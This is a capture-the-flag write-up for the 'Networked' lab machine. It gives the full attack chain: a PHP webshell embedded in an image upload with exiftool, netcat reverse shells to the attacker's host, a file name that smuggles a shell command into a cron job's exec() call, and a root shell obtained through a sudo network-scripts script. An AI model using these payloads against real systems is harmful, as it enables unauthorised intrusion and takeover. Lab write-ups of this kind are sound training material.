
Networked was a nice 20 point box created by guly. It started out by finding backup source code and then embedding PHP into an uploaded image to get command injection, then exploiting a vulnerable PHP function to get user and finally abusing a sudo bash script to get root.
User.txt
Nmap
We start the box with a quick TCP nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.146 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) &&
nmap -sV -sC -T4 -p$ports 10.10.10.146
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
HTTP
Checking out http://10.10.10.146/
we come across a barren page with the following message:
1
2
3
Hello mate, we're building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse
Running gobuster on the host provides the following output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# gobuster -u http://10.10.10.146/ -w /usr/share/wordlists/dirb/big.txt -t 40
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.146/
[+] Threads : 40
[+] Wordlist : /usr/share/wordlists/dirb/big.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/15 10:00:12 Starting gobuster
=====================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/uploads (Status: 301)
Navigating to /backups/
we see the file backup.tar
available to download:

Extracting backup.tar
we see it contains a collection of PHP files.
upload.php
stands out as we did see /uploads
in our gobuster output which means we’re able to navigate there and view/execute our malicious file once we’ve successfully uploaded it. The code for upload.php
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");
if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";
// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>
We can see it is only taking files with specific extensions:
1
2
3
4
5
6
7
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
File upload
With this in mind we download a random png image from the web and use exiftool to embed some simple PHP into it.
We then need to upload the image and browse to its location in /uploads/
and use our GET parameter (cmd) to obtain command execution.
1
<?php system($_GET['cmd']);?>
exiftool
Using the following command we can embed our PHP code into our image.
1
# exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' picture -> picture.php.png
Navigating to our uploaded file we can append our parameter ‘cmd’ and then issue commands of our choosing with stdout rendering onto the web page:
1
http://10.10.10.146/uploads/10_10_14_11.php.png?cmd=id
We’ll see uid=48(apache) gid=48(apache) groups=48(apache)
as a response. With basic command execution all we have to do is execute a netcat reverse shell from our cmd parameter:
1
http://10.10.10.146/uploads/10_10_14_11.php.png?cmd=nc 10.10.14.11 443 -e /bin/sh
Start our netcat listener beforehand and we get a shell as apache.
1
2
3
4
5
6
7
8
9
10
# nc -nlvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:57691.
bash: no job control in this shell
bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
apache to guly
Checking out gulys home directory there’s a crontab.guly
file which executes an interesting script every 3 minutes:
1
2
bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
You can see the contents of check_attack.php below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
The exec() function in PHP can be abused to obtain code execution by creating a file in /var/www/html/uploads/
, the value of the $path
variable, that begins with a semicolon and followed by a netcat reverse shell.
1
2
bash-4.2$ cd /var/www/html/uploads/
bash-4.2$ touch "; nc 10.10.14.11 444 -c bash"
Flag
We just have to start our netcat listener, wait 3 minutes, and we get a reverse shell as guly and can cat
the user flag.
1
2
3
4
5
6
7
8
9
10
11
# nc -nlvp 444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::444
Ncat: Listening on 0.0.0.0:444
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:57697.
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
python -c "import pty;pty.spawn('/bin/bash')"
[guly@networked ~]$ cat user.txt
526cfc...
Root.txt
network-scripts
Running sudo -l
as guly we see that there’s a bash script which can be run as root:
1
2
3
4
5
6
7
8
9
10
11
12
13
[guly@networked ~]$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
Navigating to /usr/local/sbin/ the changename.sh file looks like the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[guly@networked sbin]$ cat changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
Flag
After playing around with the script and Googling ‘network-scripts exploit’ you’ll see the top result on vulmon.com.
The following snippet is the most important part of the post:

Testing this out we type bin bash
into the interface NAME:
option and random junk for the others and we’ll drop into a /bin/bash
shell as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
bin bash
interface PROXY_METHOD:
aaa
interface BROWSER_ONLY:
bbb
interface BOOTPROTO:
ccc
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]# cat /root/root.txt
0a8ecd...